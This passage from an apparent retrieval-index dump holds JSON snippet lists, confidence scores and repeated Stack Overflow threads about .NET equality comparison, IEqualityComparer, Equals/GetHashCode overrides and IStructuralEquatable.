implement generic solutions .", "Let reference equality be the default and create a class that implements IEqualityComparer and pass that in when you want to consider value equality .", "possible duplicate of How to make an IEqualityComparer for int int doing structural comparison", "There s an example key equality comparer here http : stackoverflow.com questions 98033 wrap-a-delegate-in-an-iequalitycomparer 1239337 1239337 .", "What is passed to IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj", "Or do you plan to create a custom IEqualityComparer", "Partially - the default IEqualityComparer will use either in order : .. . .. . 1 .", "Which is why IEqualityComparer is generally implemented on a different class .", "What is passed to IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj", "I wonder if IEqualityComparer can be internalized as well .", "possible duplicate of Wrap a delegate in an IEqualityComparer http : stackoverflow.com questions 98033 wrap-a-delegate-in-an-iequalitycomparer", "Why can t you just specify an IEqualityComparer yourself that does this", "As everything stands IEqualityComparer only works with 32-bit integers .", "I m trying to understand the role of the GetHashCode method of the interface IEqualityComparer .", "That could be an IEqualityComparer string for example there are lots inbuilt using x x.Foo", "http : stackoverflow.com questions 12586814 how-to-make-an-iequalitycomparer-for-intint-doing-structural-comparison", "And here is the implementation of EqualityComparer : .. . .. . So how do I write my own IEqualityComparer properly", "No - only types and methods that accept an instance of IEqualityComparer as a parameter will use it .", "So what s the difference between using IEqualityComparer and Equals GethashCode Override", "I can also make an IEqualityComparer for a parent class and use on classes that inherit .", "Then I ve tried implementing my own IEqualityComparer and passing it to the Distinct method .", "An alternative approach is to supply the dictionary with an IEqualityComparer string which will compute hash-codes and check for equality in some sort of case-independent function .", "This means that overriding Equals allows comparison between two objects of different types which may be needed in certain circumstances however implementing IEqualityComparer does not give this freedom which may also be needed in certain circumstances .", "Simply put IEqualityComparer externalizes the comparison logics while overriding Equals GetHashCode internalizes them - The same principle difference for IComparable internalize and IComparer Externalize .", "What I m hearing from @Enigmativity is that implementing IEqualityComparer StagingDataRow will give my typed DataRow a default equality comparer that will be used instead of the default comparer for Object allowing me to implement value equality logic in StagingDataRow.Equals .", "By default it uses referential equality and although there is a constructor that takes an instance of IEqualityComparer T I cannot find a suitable built-in instance for two-dimensional arrays .", "As i understood you correct i can avoid the implementation of IEqualityComparer T by overriding methods : ToString GetHashCode Equals in my Person class .", "Remember that you can always force reference semantics by explicitly using ReferenceEquals and if you need to handle several different equality comparison types such as canse sensitive insensitive string-comparison you ll have to use an IEqualityComparer T so you can tell which one you want .", "It would also be the only choice if your equality definition was something that didn t relate well to what is available just in the database and of course it allows you to switch equality definitions if you wanted to do so based on an IEqualityComparer T passed as a parameter .", "First not all types implement an overload of Equals that accepts an IEqualityComparer - Array is an example IIRC .", "When an IEqualityComparer is passed into the constructor of a dictionary the IEqualityComparer.Equals and IEqualityComparer.GetHashCode methods are used instead of the methods on the Key objects .", "Here is a nice article why and how to use IEqualtyComparer and GetHashCode http : dotnetperls.com iequalitycomparer", "I happened to have seen some code where this guy passed a lambda expression to a ArrayList.Sort IComparer here or a IEnumerable.SequenceEqual IEnumerable list IEqualityComparer here where an IComparer or an IEqualityComparer was expected .", "But how can I use the same equality comparison in the .NET class HashSet", "And set-operations methos will work correctly by default overload without IEqualityComparer T parametr", "The IEqualityComparer route is usually better because it preserves the expected behavior of C classes in all other cases .", "What should IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj hash against and should it return the same value as StagingDataRow.GetHashCode", "It really just sounds like you need to create your own IEqualityComparer DataRow instance and use that in your queries .", "The other is IEqualityComparer T which is an independent interface that determines if two instance of that type are equal .", "What should IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj hash against and should it return the same value as StagingDataRow.GetHashCode", "What should IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj hash against and should it return the same value as StagingDataRow.GetHashCode .. . .. . Not necessarily .", "I get what Enigmativity was saying now that IEqualityComparer belongs-to a separate class and is therefore not the tool I m looking for .", "Possible dupe similar : stackoverflow.com questions 7751170 http : stackoverflow.com questions 7751170 why-we-need-the-iequalitycomparer-iequalitycomparert-interface", "Both their answers deal with the fact that the IEqualityComparer T s methods won t be translated to SQL .", "If not you can create the IEqualityComparer class like this : .. . .. . And again use the Distinct without any overload", "Im thinking though that in the interest of writing clean code I should create an interface to use as the T in an IEqualityComparer T .", "Am I guaranteed that everything in the .NET framework will call EqualityComparer StagingDataRow .Equals instead of StagingDataRow.Equals .. . .. . By default the properly written framework data-structures will delegate equality comparison to EqualityComparer StagingDataRow .Default which will in turn delegate to StagingDataRow.Equals .", "@T D you already chose what to use as a key when you made an IEqualityComparer Order - that defines : I m using Order as the key .", "GroupBy may be better solution than Distinct - like here in top rated answer : How to remove duplicates from collection using IEqualityComparer LinQ Distinct http : stackoverflow.com questions 16983618 how-to-remove-duplicates-from-collection-using-iequalitycomparer-linq-distinct", "Oh I m sure you can.. . String is a reference-type for instance : .. . .. . What I m hearing from @Enigmativity is that implementing IEqualityComparer StagingDataRow will give my typed DataRow a default equality comparer that will be used instead of the default comparer for Object allowing me to implement value equality logic in StagingDataRow.Equals .", "You still seem a bit confused about this but don t worry : .. . .. . Enigmativity actually suggested that you create a different type which implements IEqualityComparer T .", ".. . .. . Please read my answer on Using of IEqualityComparer interface and EqualityComparer class in C http : stackoverflow.com a 26202958 3764814 for more in-depth information .", "I see that if I override the Equals and GetHashCode on the key s class or i create a new class which implements IEqualityComparer I have the same result .", "Typically I d write MyCustomeComparer which implements IEqualityComparer and pass a MyCustomeComparer object around to whichever objects that need it - I m sure you re aware of this usage .", "I note that JaredPar s answer does not quite answer the question since the set methods like Distinct and Except require an IEqualityComparer T not an IComparer T .", "The reason a GetHashCode is included in an IEqualityComparer T is to allow for the possibility that a dictionary s consumer might want to regard as equal objects that would normally not regard each other as equal .", "Furthermore I have defined an IEqualityComparer Order and my goal is to efficiently create a list of lists or groupings where every sublist contains the objects that are equal to each other .", "Mathematically I have an equivalence relation https : en.wikipedia.org wiki Equivalence relation IEqualityComparer and want to have a list of all equivalence classes https : en.wikipedia.org wiki Equivalence relation Equivalence class .", "Rather use a 32-bit hash code and rely on your equality comparison to make sure that no false matches happen .", "If your definition of equal only applies in a particular use-case then create a different class that implements IEqualityComparer T then pass an instance of it to whatever class or method you want that definition to apply to .", "If you want a definition of equal that is just for a specific use-case then create a different class that implements IEqualityComparer T and pass an instance of it to whatever types or methods need to use that definition .", "It would be strange to have an instance method accept itself as a parameter.. . .. . .. . Well by now I hope you ve understood that the object which implements IEqualityComparer T is a different object so this should make sense .", "So I m proposing a custom implementation of IEqualityComparer which looks like this : .. . .. . Now I m only testing this so the obj getting passed in is of type CustomSet I will add the necessary if statements for my other types if I can get this to function properly .", "IEqualityComaprer T is an interface which lets you delegate equality comparison to a different object .", "Most of the time when you compare for equality or sorting you re interested in choosing the keys to compare by not the equality or comparison method itself this is the idea behind Python s list sort API .", "F supports structural equality of two-dimensional arrays with the operator and in F collections such as Set .", "Actually overriding object.Equals and object.GetHashCode is sufficient to change the default equality comparison behavior but also implementing IEquatable T has additional benefits : .. . .. . It makes it more obvious that your type has custom equality comparison logic - think self documenting code .", "Since the GetHashCode method built into String doesn t work that way the dictionary will need to get such a method from somewhere else and IEqualityComparer T is the most logical place since the need for such a hash code would be very strongly associated with an Equals method that considers Fox and FOX identical to each other but not to box or zebra .", "One has to be the default - you can override Equals to be value equality and have a custom comparer that goes back to reference equality or you can leave reference equality as the default and have a custom comparer that uses value equality .", "Look at this example full code on Github https : github.com brunolm StackOverflow blob master StackOverflow What-is-the-difference-between-using-iequalitycomparer-and-equals-gethashcode-ov.cs .. . .. . I have two different classes both can use the same comparer .", "It is dubious to use hashes for equality due to hash collisions .", "Here s an example : .. . .. . Other types which implement structural equality comparability include tuples and anonymous-types - which both clearly benefit from the ability to perform comparison based on their structure and content .", "Yeah where I m coming down in all this is that I have to leave the default .Equals in-place because the framework expects reference equality by default .", "Collections like the above answer", "In general how does one separate value equality from reference equality when overriding .Equals", "The only implementations of those operations in .NET will work equally well whether your hash codes are 32-bit or 64-bit as they don t use the hash code to determine actual equality .", "In this case how would you support both reference and structural equality", "Am I guaranteed that everything in the .NET framework will call EqualityComparer StagingDataRow .Equals instead of StagingDataRow.Equals", "Am I guaranteed that everything in the .NET framework will call EqualityComparer StagingDataRow .Equals instead of StagingDataRow.Equals", "If you need a generic comparison .", "In the description of the IStructuralEquatable Interface https : msdn.microsoft.com en-us library system.collections.istructuralequatable 28v vs.110 29.aspx Microsoft clearly says in the Remarks section : .. . .. . The IStructuralEquatable interface enables you to implement customized comparisons to check for the structural equality of collection objects .", "This makes it possible to distinguish whether you are comparing two arrays for reference equality or for structural equality - whether they have the same number of items with the same values in each position .", "How do such comparators relate to things like Dictionary and other collections", "None of the built-in collections algorithms and interfaces support 64 bit hash codes .", "Simply treat this hash code as the key in the built-in collections and algorithms .", "Assuming that you do not care about the possible problems arising from different records having equal hash codes and thus being considered equal even though they are different you can simply implement RecordComparer like this : .. . .. . IEqualityComparer T is correctly implemented by returning a 32-bit hash code created by truncating the 64 bit hash code identifying the record .", "Then you need to expand your comparison .", "If you compare two int variables the comparer will base equality on the value .", "Are you planning to inherit from DataRow and override the equality methods", "Therefore my value equality tests have to be in a separate method .", "You don t have to leave reference equality there s no such guideline .", "The object s Equals anf GetHashCode implement the concept of equality intrinsic to the object .", "The Equals method is a better test of equality but cannot be used to map an object into an address space .", "However you might want to use alternative concepts of equality - for example an equality comparer for address objects that only uses the ZIP code rather than the full address .", "By internalization you want the comparison logics to be an inherent part of the class - after all each derived-class will have the comparison logics by default", "The guy s using the Comparison T overload .", "Equals GetHashCode not only internalizes comparison logic but also globalize them ." ] }
{ "confidence": [ 63.97175979614258, 59.76526641845703, 55.075008392333984, 54.68955612182617, 52.711448669433594, 50.6733512878418, 50.01543426513672, 49.078060150146484, 48.76270294189453, 48.516605377197266, 47.708587646484375, 47.17815399169922, 46.986968994140625, 46.837501525878906, 46.6550178527832, 45.955596923828125, 45.80655288696289, 45.31269836425781, 45.31269836425781, 45.31269836425781 ], "content": [ "Question : F supports structural equality of two-dimensional arrays with the operator and in F collections such as Set . But how can I use the same equality comparison in the .NET class HashSet By default it uses referential equality and although there is a constructor that takes an instance of IEqualityComparer T I cannot find a suitable built-in instance for two-dimensional arrays . I looked at System.Collections.StructuralComparisons.StructuralEqualityComparer but that seems to have two problems . Firstly it is not generic and secondly it does not seem to support two-dimensional arrays : .. . .. . Ultimately I d like to fix the following code so that it returns 1 not 2 : .. . .. . I would also be happy with a solution using Dictionary but I think the same issues apply . Comment : possible duplicate of How to make an IEqualityComparer for int int doing structural comparison http : stackoverflow.com questions 12586814 how-to-make-an-iequalitycomparer-for-intint-doing-structural-comparison .. . Answer : Online demo http : ideone.com 9kQUEs Comment : Thanks . I m a little amused that HashSet made it into .NET core while HashIdentity didn t though perhaps it s safer that way given that arrays are mutable .", "Question : Attempt 3 to simplify this question : .. . .. . A generic List T can contain any type - value or reference . When checking to see if a list contains an object .Contains uses the default EqualityComparer T for type T and calls .Equals is my understanding . If no EqualityComparer has been defined the default comparer will call .Equals . By default .Equals calls .ReferenceEquals so .Contains will only return true if the list contains the exact same object . Until you need to override .Equals to implement value equality at which point the default comparer says two objects are the same if they have the same values . I can t think of a single case where that would be desirable for a reference-type . What I m hearing from @Enigmativity is that implementing IEqualityComparer StagingDataRow will give my typed DataRow a default equality comparer that will be used instead of the default comparer for Object allowing me to implement value equality logic in StagingDataRow.Equals . Questions : .. . .. . 1 . Am I understanding that correctly 2 . Am I guaranteed that everything in the .NET framework will call EqualityComparer StagingDataRow .Equals instead of StagingDataRow.Equals 3 . What should IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj hash against and should it return the same value as StagingDataRow.GetHashCode 4 . What is passed to IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj The object I m looking for or the object in the list Both It would be strange to have an instance method accept itself as a parameter.. . In general how does one separate value equality from reference equality when overriding .Equals .. . .. . The original line of code spurring this question : Comment : Your question is really hard to understand . Are you planning to inherit from DataRow and override the equality methods Or do you plan to create a custom IEqualityComparer Where are you changing the data in the DataRow Where is the code that needs to to compare DataRows based on values Comment : It really just sounds like you need to create your own IEqualityComparer DataRow instance and use that in your queries . Comment : Yeah I know but I can t win.. . if I try to simplify questions I get slammed for not having enough info . But I would have preferred to skip everything in the middle and just ask the question . I ll try to summarize it up front . Comment : @YacoubMassad I did my best to summarize the question up front . If it s still not clear ask away . Thanks for looking at it . Comment : Why not use the Enumerable.Contains that takes in a equality comparer https : msdn.microsoft.com en-us library bb339118 v vs.100 .aspx then it does not matter what the default comparer is . .. . Answer : Ok let s handle a few misconceptions first : .. . .. . By default .Equals calls .ReferenceEquals so .Contains will only return true if the list contains the exact same object . This is true but only for reference types . Value types will implement a very slow reflection-based Equals http : referencesource.microsoft.com mscorlib system valuetype.cs d8b9b308e644b983 function by default so it s in your best interest to override that . I can t think of a single case where that would be desirable for a reference-type . Oh I m sure you can.. . String is a reference-type for instance : .. . .. . What I m hearing from @Enigmativity is that implementing IEqualityComparer StagingDataRow will give my typed DataRow a default equality comparer that will be used instead of the default comparer for Object allowing me to implement value equality logic in StagingDataRow.Equals . Err.. . No . IEqualityComaprer T is an interface which lets you delegate equality comparison to a different object . If you want a different default behavior for your class you implement IEquatable T and also delegate object.Equals to that for consistency . Actually overriding object.Equals and object.GetHashCode is sufficient to change the default equality comparison behavior but also implementing IEquatable T has additional benefits : .. . .. . It makes it more obvious that your type has custom equality comparison logic - think self documenting code . It improves performance for value types since it avoids unnecessary boxing which happens with object.Equals .. . .. . So for your actual questions : .. . .. . Am I understanding that correctly You still seem a bit confused about this but don t worry : .. . .. . Enigmativity actually suggested that you create a different type which implements IEqualityComparer T . Looks like you misunderstood that part . Am I guaranteed that everything in the .NET framework will call EqualityComparer StagingDataRow .Equals instead of StagingDataRow.Equals .. . .. . By default the properly written framework data-structures will delegate equality comparison to EqualityComparer StagingDataRow .Default which will in turn delegate to StagingDataRow.Equals . What should IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj hash against and should it return the same value as StagingDataRow.GetHashCode .. . .. . Not necessarily . It should be self-consistent : if myEqualitycomaprer.Equals a b then you must ensure that myEqualitycomaprer.GetHashCode a myEqualitycomaprer.GetHashCode b . It can be the same implementation than StagingDataRow.GetHashCode but not necessarily . What is passed to IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj The object I m looking for or the object in the list Both It would be strange to have an instance method accept itself as a parameter.. . .. . .. . Well by now I hope you ve understood that the object which implements IEqualityComparer T is a different object so this should make sense . .. . .. . Please read my answer on Using of IEqualityComparer interface and EqualityComparer class in C http : stackoverflow.com a 26202958 3764814 for more in-depth information . Comment : Thanks for the further clarification.. . I get what Enigmativity was saying now that IEqualityComparer belongs-to a separate class and is therefore not the tool I m looking for . I m not worried about value types.. . in fact this issue is specific to reference types string doesn t count I can t inherit from it : . But even if I implement override IEquatable in my class I can only pick one equals - value or reference . The assumption that these are interchangeable seems like a flawed design to me . Comment : You have to decide which semantics to give to your reference-type . I agree that most of the time you should use reference equality semantics principle of least astonishment but for other cases value-type semantics may make more sense as for string for instance . Remember that you can always force reference semantics by explicitly using ReferenceEquals and if you need to handle several different equality comparison types such as canse sensitive insensitive string-comparison you ll have to use an IEqualityComparer T so you can tell which one you want . Comment : Yeah where I m coming down in all this is that I have to leave the default .Equals in-place because the framework expects reference equality by default . Therefore my value equality tests have to be in a separate method . Which works just.. . poop . Thanks . Comment : The framework makes no assumptions whatsoever from any custom type . You don t have to leave reference equality there s no such guideline . If the rest of your code assumes so then it s a different matter of course but the framework just.. . doesn t care .", "Question : When i am using dictionaries sometimes I have to change the default Equals meaning in order to compare Keys . I see that if I override the Equals and GetHashCode on the key s class or i create a new class which implements IEqualityComparer I have the same result . So what s the difference between using IEqualityComparer and Equals GethashCode Override Two Examples : .. . .. . .. . .. . Second one : .. . .. . .. . .. . Both examples have the same result . Thanks in advance . Comment : Possible dupe similar : stackoverflow.com questions 7751170 http : stackoverflow.com questions 7751170 why-we-need-the-iequalitycomparer-iequalitycomparert-interface Comment : Because there is more than one way to compare some objects . .. . Answer : When you override Equals and GetHashCode you are changing the way the object will determine if it is equals to another . And a note if you compare objects using operator it will not have the same behavior as Equals unless you override the operator as well . Doing that you changed the behavior for a single class what if you need the same logic for other classes If you need a generic comparison . That is why you have IEqualityComparer . Look at this example full code on Github https : github.com brunolm StackOverflow blob master StackOverflow What-is-the-difference-between-using-iequalitycomparer-and-equals-gethashcode-ov.cs .. . .. . I have two different classes both can use the same comparer . Notice that I didn t have to override Equals GetHashCode in neither of the classes . I can use this comparer in any object that implements ICustom without having to rewrite the comparison logic . I can also make an IEqualityComparer for a parent class and use on classes that inherit . I can have comparer that will behave in a different way I can make one to compare Value instead of Key . So IEqualityComparer allows more flexibility and you can implement generic solutions . Comment : Simply put IEqualityComparer externalizes the comparison logics while overriding Equals GetHashCode internalizes them - The same principle difference for IComparable internalize and IComparer Externalize . Comment : @h9uest : well said . I wonder if IEqualityComparer can be internalized as well . Equals GetHashCode not only internalizes comparison logic but also globalize them . There might be cases where I would like internal comparison not using collection for just one time . Comment : @liang I m afraid IEqualityComparer was designed to externalize comparison . Typically I d write MyCustomeComparer which implements IEqualityComparer and pass a MyCustomeComparer object around to whichever objects that need it - I m sure you re aware of this usage . Comment : @liang In addition I m not sure why you want to internalize the comparison logics for just one time . By internalization you want the comparison logics to be an inherent part of the class - after all each derived-class will have the comparison logics by default So chances are that you want to tweak your model a bit yes no Comment : @h9uest to which objects do you pass MyCustomeComparer to Collections like the above answer", "Question : Attempt 3 to simplify this question : .. . .. . A generic List T can contain any type - value or reference . When checking to see if a list contains an object .Contains uses the default EqualityComparer T for type T and calls .Equals is my understanding . If no EqualityComparer has been defined the default comparer will call .Equals . By default .Equals calls .ReferenceEquals so .Contains will only return true if the list contains the exact same object . Until you need to override .Equals to implement value equality at which point the default comparer says two objects are the same if they have the same values . I can t think of a single case where that would be desirable for a reference-type . What I m hearing from @Enigmativity is that implementing IEqualityComparer StagingDataRow will give my typed DataRow a default equality comparer that will be used instead of the default comparer for Object allowing me to implement value equality logic in StagingDataRow.Equals . Questions : .. . .. . 1 . Am I understanding that correctly 2 . Am I guaranteed that everything in the .NET framework will call EqualityComparer StagingDataRow .Equals instead of StagingDataRow.Equals 3 . What should IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj hash against and should it return the same value as StagingDataRow.GetHashCode 4 . What is passed to IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj The object I m looking for or the object in the list Both It would be strange to have an instance method accept itself as a parameter.. . In general how does one separate value equality from reference equality when overriding .Equals .. . .. . The original line of code spurring this question : Comment : Your question is really hard to understand . Are you planning to inherit from DataRow and override the equality methods Or do you plan to create a custom IEqualityComparer Where are you changing the data in the DataRow Where is the code that needs to to compare DataRows based on values Comment : It really just sounds like you need to create your own IEqualityComparer DataRow instance and use that in your queries . Comment : Yeah I know but I can t win.. . if I try to simplify questions I get slammed for not having enough info . But I would have preferred to skip everything in the middle and just ask the question . I ll try to summarize it up front . Comment : @YacoubMassad I did my best to summarize the question up front . If it s still not clear ask away . Thanks for looking at it . Comment : Why not use the Enumerable.Contains that takes in a equality comparer https : msdn.microsoft.com en-us library bb339118 v vs.100 .aspx then it does not matter what the default comparer is . .. . Answer : Am I understanding that correctly Partially - the default IEqualityComparer will use either in order : .. . .. . 1 . The implementation of IEquatable T .. . 2 . An overridden Equals object .. . 3 . the base object.Equals object which is reference equality for reference types . I think you are confusing two different methods of defining equality in a custom type . One is by implementing IEquatable T Which allows an instance of a type to determine if it s equal to another instance of the same type . The other is IEqualityComparer T which is an independent interface that determines if two instance of that type are equal . So if your definition of Equals should apply whenever you are comparing two instances then implement IEquatable as well as overriding Equals which is usually trivial after implementing IEquatable and GetHashCode . If your definition of equal only applies in a particular use-case then create a different class that implements IEqualityComparer T then pass an instance of it to whatever class or method you want that definition to apply to . Am I guaranteed that everything in the .NET framework will call EqualityComparer StagingDataRow .Equals instead of StagingDataRow.Equals No - only types and methods that accept an instance of IEqualityComparer as a parameter will use it . What should IEqualityComparer StagingDataRow .GetHashCode StagingDataRow obj hash against and should it return the same value as StagingDataRow.GetHashCode It will compute the hash code for the object that s passed in . It doesn t compare the hash code to anything . It does not necessarily have to return the same value as the overridden GetHashCode but it must follow the rules for GetHashCode particularly that two equal objects must return the same hash code . It would be strange to have an instance method accept itself as a parameter.. . Which is why IEqualityComparer is generally implemented on a different class . Note that IEquatable T doesn t have a GetHashCode method because it doesn t need one . It assumes that GetHashCode is overridden to match the override of object.Equals which should match the strongly-typed implementation of IEquatable T .. . .. . Bottom Line .. . .. . If you want your definition of equal to be the default for that type implement IEquatable T and override Equals and GetHashCode . If you want a definition of equal that is just for a specific use-case then create a different class that implements IEqualityComparer T and pass an instance of it to whatever types or methods need to use that definition . Also I would note that you very rarely call these methods directly except Equals . They are usually called by the methods that use them like Contains to determine if two objects are equal or to get the hash code for an item . Comment : Got it . Or at least half of it . I feel like I m futilely flopping around trying to explain the issue which is really just that overriding .Equals to give me value equality breaks everything that assumes .Equals means the same object . Two instances of a class can have value equality and be in the same List T but .Contains should not consider them as equal . I implement IEquatable but I don t want IEquatable.Equals to be used for lookups that should be matching the instances themselves - not their values . Comment : I don t want IEquatable.Equals to be used for lookups that should be matching the instances themselves - Then don t override Equals or implement IEquatable . Let reference equality be the default and create a class that implements IEqualityComparer and pass that in when you want to consider value equality . Comment : Then everyone who uses my class needs to know they must use my custom comparer everywhere comparisons are required and if they forget will have a subtle and intermittent bug to pin down . I m deliberately building unintended side effects into the design . Comment : But you just said you don t want to change the default since it will break existing code One has to be the default - you can override Equals to be value equality and have a custom comparer that goes back to reference equality or you can leave reference equality as the default and have a custom comparer that uses value equality . There s no way to have both as the default . Comment : I get what you re saying and probably 12 hours ago I was ready to say screw it and just implement an Equals function with a different name for value equality but I was really hoping there was a cleaner solution.. . I can t think of a single case where I would want to override .Equals and want to use value equality to retrieve different instances from a collection . I have to be missing something major - this can t be an uncommon scenario .", "Question : I m generating 64 bit hashcodes from strings and storing this value in a database .. . .. . Is it possible to override GetHashCode with a 64 bit long type instead of 32 byte int If this is not possible is it possible to implement Equals and GetHashCode somewhere else and still use Except and Intersect Comment : It is dubious to use hashes for equality due to hash collisions . Comment : It is for 32-bit hash integers.. . collisions start to occur after 100 000 records . However the 64 bit hashes guarantees a very very low collision rate . Comment : 64 bit hashes guarantees a very very low collision rate : yes they do . But not equality . Which is what a correct implementation of IEqualityComparer T or Equals needs . Comment : Please explain what Intersect and Except you re talking about here and what they have to do with your question . The only implementations of those operations in .NET will work equally well whether your hash codes are 32-bit or 64-bit as they don t use the hash code to determine actual equality . Comment : That make sense . However for my purposes a 64 int will be unique enough that I can live with a collision every few trillion records or so . Is it possible to override the GetHashCode to return a 64 bit integer .. . Answer : None of the built-in collections algorithms and interfaces support 64 bit hash codes . You must build everything yourself . You need a whole parallel infrastructure . This will likely turn out to be not worth the effort . Rather use a 32-bit hash code and rely on your equality comparison to make sure that no false matches happen . This is required for correctness anyway . Maybe this question is based on a misunderstanding : .. . .. . Basically I will have 2 lists of with 64 bit hash code integers . I need to be able to use Except Intersect on these 2 lists to find the differences based on the 64 bit hascode value . As everything stands IEqualityComparer only works with 32-bit integers . Simply treat this hash code as the key in the built-in collections and algorithms . You can process those lists using Except just fine . Comment : I can probably work arround this idea however my lists are actually of an object one property being the hash value the other property being the ID of the record . If I just make a list of long and intersect I will have to also pull the object list to get the correct record IDs associated to the Except Intersect results Comment : There are extension-methods called ExceptBy and IntersectBy on the web . They do what you apparently need . If you can t use them implement this algorithm yourself using joins or dictionaries . None of this seems to touch on the issue of hash codes .", "Question : When i am using dictionaries sometimes I have to change the default Equals meaning in order to compare Keys . I see that if I override the Equals and GetHashCode on the key s class or i create a new class which implements IEqualityComparer I have the same result . So what s the difference between using IEqualityComparer and Equals GethashCode Override Two Examples : .. . .. . .. . .. . Second one : .. . .. . .. . .. . Both examples have the same result . Thanks in advance . Comment : Possible dupe similar : stackoverflow.com questions 7751170 http : stackoverflow.com questions 7751170 why-we-need-the-iequalitycomparer-iequalitycomparert-interface Comment : Because there is more than one way to compare some objects . .. . Answer : The object s Equals anf GetHashCode implement the concept of equality intrinsic to the object . However you might want to use alternative concepts of equality - for example an equality comparer for address objects that only uses the ZIP code rather than the full address .", "Question : I ve noticed these two interfaces and several associated classes have been added in .NET 4 . They seem a bit superfluous to me I ve read several blogs about them but I still can t figure out what problem they solve that was tricky before .NET 4 . What use are IStructuralEquatable and IStructuralComparable .. . Answer : All types in .NET support the Object.Equals method which by default compares two types for reference equality . However sometimes it also desirable to be able to compare two types for structural equality . The best example of this is arrays which with .NET 4 now implement the IStructuralEquatable interface . This makes it possible to distinguish whether you are comparing two arrays for reference equality or for structural equality - whether they have the same number of items with the same values in each position . Here s an example : .. . .. . Other types which implement structural equality comparability include tuples and anonymous-types - which both clearly benefit from the ability to perform comparison based on their structure and content . A question you didn t ask is : .. . .. . Why do we have IStructuralComparable and IStructuralEquatable when there already exist the IComparable and IEquatable interfaces The answer I would offer is that in general it s desirable to differentiate between reference comparisons and structural comparisons . It s normally expected that if you implement IEquatable T .Equals you will also override Object.Equals to be consistent . In this case how would you support both reference and structural equality Comment : Why can t you just specify an IEqualityComparer yourself that does this What does the IStructuralEquatable interface add to this Comment : @thecoop : There s two reasons . First not all types implement an overload of Equals that accepts an IEqualityComparer - Array is an example IIRC . Second supplying an equality comparer is nice but what if you want to express the fact that a certain method requires two objects that can be structurally compared Being able to specify IStructuralEquatable IStructuralComparable in such cases is actually useful . It would also be inconvenient to pass a TupleComparer or ArrayComparer everywhere you want to apply this type of comparison . The two approaches are not mutually exclusive . Comment : How do such comparators relate to things like Dictionary and other collections I know that Dictionary seems to handle structures sensibly albeit slowly in .Net 2.0 does .Net 4.0 or 3.x for that matter allow arrays to be conveniently stored in Dictionary using the array contents as the key Comment : @supercat : I don t believe you can use arrays as keys in .NET 4 any more easily than you could in previous versions . As far as I know neither Dictionary nor other keyed collection classes use the IStructuralEquatable interface . But this would be easy enough to verify with some test code . Comment : See stackoverflow.com questions 5813113 http : stackoverflow.com questions 5813113 can-net-test-arrays-for-equivalence-and-not-just-equal-references 5813160 5813160 for a version of this that addresses the problems @CodeInChaos points out .", "Question : When i am using dictionaries sometimes I have to change the default Equals meaning in order to compare Keys . I see that if I override the Equals and GetHashCode on the key s class or i create a new class which implements IEqualityComparer I have the same result . So what s the difference between using IEqualityComparer and Equals GethashCode Override Two Examples : .. . .. . .. . .. . Second one : .. . .. . .. . .. . Both examples have the same result . Thanks in advance . Comment : Possible dupe similar : stackoverflow.com questions 7751170 http : stackoverflow.com questions 7751170 why-we-need-the-iequalitycomparer-iequalitycomparert-interface Comment : Because there is more than one way to compare some objects . .. . Answer : It is essentially the same for this purpose with one subtle difference . In your first example you override Equals using a parameter of type Object and then have to cast it to Customer however in your second example you are able to have the parameter of type Customer which means there is no need to cast . This means that overriding Equals allows comparison between two objects of different types which may be needed in certain circumstances however implementing IEqualityComparer does not give this freedom which may also be needed in certain circumstances .", "Question : When i am using dictionaries sometimes I have to change the default Equals meaning in order to compare Keys . I see that if I override the Equals and GetHashCode on the key s class or i create a new class which implements IEqualityComparer I have the same result . So what s the difference between using IEqualityComparer and Equals GethashCode Override Two Examples : .. . .. . .. . .. . Second one : .. . .. . .. . .. . Both examples have the same result . Thanks in advance . Comment : Possible dupe similar : stackoverflow.com questions 7751170 http : stackoverflow.com questions 7751170 why-we-need-the-iequalitycomparer-iequalitycomparert-interface Comment : Because there is more than one way to compare some objects . .. . Answer : There are many cases where one might want to have a Dictionary locate objects using something other than 100 equivalence . As a simple example one may wish to have a dictionary which matches in case-insensitive fashion . One way to accomplish that would be to convert strings to a canonical uppercase form before storing them in the dictionary or performing a lookup . An alternative approach is to supply the dictionary with an IEqualityComparer string which will compute hash-codes and check for equality in some sort of case-independent function . There are some circumstances where converting strings to canonical form and using that form whenever possible will be more efficient but there are others where it s more efficient to only store the string in its original form . One feature I wish .NET had which would improve the usefulness of such dictionaries would be a means of requesting the actual key object associated with a given key so if the dictionary contained the string WowZo as a key one could look up wowzo and get WowZo unfortunately the only way to retrieve an actual key object if TValue doesn t contain a redundant reference to it is to enumerate the entire collection . Another scenario where it may be useful to have an alternative means of comparison is when an object holds a reference to an instance a mutable type but will never expose that instance to anything that might mutate it . In general two instances of int that hold the same sequence of values will not be interchangeable since it would be possible that in future one or both of them might be changed to hold different values . On the other hand if a dictionary will be used to hold and look up int values each of which will be the only reference anywhere in the universe to an instance of int and if none of the instances will be modified nor exposed to outside code it may be useful to regard as equal array instances which hold identical sequences of values . Since Array.Equals tests for strict equivalence reference equality it would be necessary to use some other means of testing the arrays for equivalence .", "Question : I happened to have seen some code where this guy passed a lambda expression to a ArrayList.Sort IComparer here or a IEnumerable.SequenceEqual IEnumerable list IEqualityComparer here where an IComparer or an IEqualityComparer was expected . I can t be sure if I saw it though or I am just dreaming . And I can t seem to find an extension on any of these collections that accepts a Func or a delegate in their method signatures . Is there such an overload extension method Or if not is it possible to muck around like this and pass an algorithm read delegate where a single-method interface is expected Update Thanks everyone . That s what I thought . I must ve been dreaming . I know how to write a conversion . I just wasn t sure if I d seen something like that or just thought I d seen it . Yet another update Look here I found one such instance . I wasn t dreaming after all . Look at what this guy is doing here http : www.revindex.com TabId 65 EntryID 23 . What gives And here s another update : Ok I get it . The guy s using the Comparison T overload . Nice . Nice but totally prone to mislead you . Nice though . Thanks . Comment : possible duplicate of Wrap a delegate in an IEqualityComparer http : stackoverflow.com questions 98033 wrap-a-delegate-in-an-iequalitycomparer Comment : @nawfal : That is a different question . They are somewhat related but still different . That s a very nice question though . Thanks for sharing . I found it very interesting . : - Comment : Oh yes I see now but very close : P I 